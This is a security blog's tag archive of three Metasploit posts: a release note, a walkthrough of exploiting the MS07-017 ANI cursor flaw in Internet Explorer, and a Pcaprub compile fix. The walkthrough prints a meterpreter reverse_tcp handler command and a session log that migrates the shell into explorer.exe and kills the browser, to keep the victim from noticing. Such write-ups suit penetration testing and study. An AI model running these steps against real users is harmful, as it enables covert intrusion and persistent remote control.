Tag Archive: metasploit


A short one.

Metasploit has reached 3.4.0 (stable) and it looks like it’s not going to stop here!

Thanks to the support from Rapid7, MSF has already reached more than 550 exploits and 200 auxiliary modules. Remember that apart from the script-kiddie mode (fire [an exploit] and forget), Metasploit is a great tool that assists in exploit development and much more.

I’m excited to see what this project brings in the future…

I’ve been playing with the Metasploit framework and the *evil* meterpreter payload today (I would tell you why but I’m sure it would break a non-disclosure agreement or something :) )

In particular I was studying client-side attacks and recreating the infamous MS07-17 (a classic!). While I was enjoying myself among hex code and debuggers, the way nerds do, I realized that the browser always hanged, thus forcing the user to kill the process and cutting down our meterpreter session. Not good. “Got root?” yes, but just for twenty seconds.

Looking for ways to improve the stability of the exploit, a colleague proposed a workaround, migrate the [meterpreter] server to another process. I totally forgot about the migrate command. This is how it can be done and the issues left unsolved.

I have just implemented the MS07-17 ANI vulnerability with the meterpreter reverse tcp payload, like this

I have “tricked” the user to visit my website and he inadvertently downloaded the evil cursor code that exploits the vuln in the GDI code. Oopppss! As a result, he has connected back to the machine, received the dll (it’s a staged payload) and  injected it into the running process, iexplore.exe in this case.

We can indeed confirm that looking at the dll’s with Process Explorer, as in the follow capture:

After the migration of the meterpreter server to another process, less likely to be killed (for example explorer.exe), IE will crash but the process won’t die completely. Trying to attach a debugger to it will show us that the process window name is “MCI command handling window”. Although Process Explorer still shows the evil dll located at some point in the memory of this process, this address is not reachable using the debugger.

However, just to do things well it would be a good idea to kill the process (or what remains of it).

The whole process would be something like the following paste:

root@bt:/pentest/exploits/framework3# ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.8.31 EXITFUNC=seh E
[*] Please wait while we load the module tree...
[*] Started reverse handler on port 4444
[*] Starting the payload handler...
[*] Sending stage (725504 bytes)
[*] Meterpreter session 1 opened (192.168.8.31:4444 -> 192.168.9.34:1088)

meterpreter > ps

Process list
============

PID   Name                 Arch  User                 Path
---   ----                 ----  ----                 ----
0     [System Process]
4     System               x86
580   smss.exe             x86   NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
652   csrss.exe            x86   NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
712   winlogon.exe         x86   NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe
756   services.exe         x86   NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe

[...]
1860  ctfmon.exe           x86   CLIENT034\offsec     C:\WINDOWS\system32\ctfmon.exe

 2004  svchost.exe          x86                        C:\WINDOWS\System32\svchost.exe

 1880  explorer.exe         x86   CLIENT034\offsec     C:\WINDOWS\explorer.exe

 1920  iexplore.exe         x86   CLIENT034\offsec     C:\Program Files\Internet Explorer\iexplore.exe

meterpreter > migrate 1880

[*] Migrating to 1880...

[*] Migration completed successfully.

meterpreter > kill 1920

Killing: 1920

meterpreter > getpid

Current pid: 1880

meterpreter >

As easy as “deceive, exploit, migrate and kill” :)

Metasploit and the Pcaprub wrapper

Metasploit (i love you) is, it goes without saying, the penetration testing framework of choice of a wide spectrum of professionals (and script-kiddies).

One of the reasons is that everything works “out of the box”, kind of a plug and play evil hacker toolbox.

But playing with it in Backtrack I found that some of the dependencies are not installed, in particular the Pcap wrapper.


msf auxiliary(ipidseq) > run

[-] Auxiliary failed: RuntimeError Pcaprub is not available
[-] Call stack:
[-] (eval):65:in `run_host'
[-] /opt/metasploit3/msf3/lib/msf/core/auxiliary/scanner.rb:114:in `join'
[-] /opt/metasploit3/msf3/lib/msf/core/auxiliary/scanner.rb:114:in `run'
[*] Auxiliary module execution completed

This is really an annoyance if you take into account that several auxiliary modules make use of the Pcap library.

Fortunately, get this working is really easy, just locate the external/pcaprub directory under the framework root dir and compile/install this ruby module.


root@bt:/pentest/exploits/framework3/external/pcaprub# ls
LICENSE README extconf.rb pcaprub.c test_pcaprub.rb


root@bt:/pentest/exploits/framework3/external/pcaprub#
ruby extconf.rb && make
checking for pcap_open_live() in -lpcap... yes
checking for pcap_setnonblock() in -lpcap... yes
creating Makefile
cc -I. -I. -I/usr/lib/ruby/1.8/i486-linux -I. -D_FILE_OFFSET_BITS=64 -fPIC -fno-strict-aliasing -g -g -O2 -fPIC -c pcaprub.c
cc -shared -o pcaprub.so pcaprub.o -L. -L/usr/lib -L. -Wl,-Bsymbolic-functions -rdynamic -Wl,-export-dynamic -lruby1.8 -lpcap -lpcap -lpthread -ldl -lcrypt -lm -lc

root@bt:/pentest/exploits/framework3/external/pcaprub# make install
/usr/bin/install -c -m 0755 pcaprub.so /usr/local/lib/site_ruby/1.8/i486-linux

And there you go! Keep exploiting! :)

Powered by WordPress | Theme: Motion by 85ideas.